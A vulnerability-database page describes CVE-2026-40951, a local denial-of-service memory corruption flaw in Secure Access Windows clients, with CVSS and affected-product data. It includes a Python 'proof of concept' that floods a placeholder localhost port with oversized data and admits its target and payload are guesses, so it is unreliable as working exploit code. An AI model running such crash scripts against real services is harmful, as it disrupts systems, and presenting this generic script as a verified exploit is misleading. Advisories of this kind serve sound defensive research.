Security Vulnerability Report
中文
CVE-2026-40951 CVSS 5.5 MEDIUM

CVE-2026-40951

Published: 2026-04-30 21:16:33
Last Modified: 2026-05-04 18:54:41

Description

CVE-2026-40951 is a memory corruption vulnerability on Secure Access Windows clients prior to 14.50. Attackers with local control of the Windows client can send malformed data to an API and trigger a denial of service.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Secure Access Windows Client < 14.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # Proof of Concept for CVE-2026-40951 # This script demonstrates sending malformed data to a vulnerable local API. # Note: The specific IP/Port needs to be identified based on the target environment. TARGET_HOST = '127.0.0.1' TARGET_PORT = 8080 # Example port, replace with actual vulnerable service port # Malformed payload designed to trigger memory corruption # Adjust the payload pattern based on reverse engineering of the target API malformed_payload = b"\x41" * 10000 + b"\x00\x00\x00\x00" def send_exploit(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malformed payload...") s.sendall(malformed_payload) print("[*] Payload sent. Check if the service has crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
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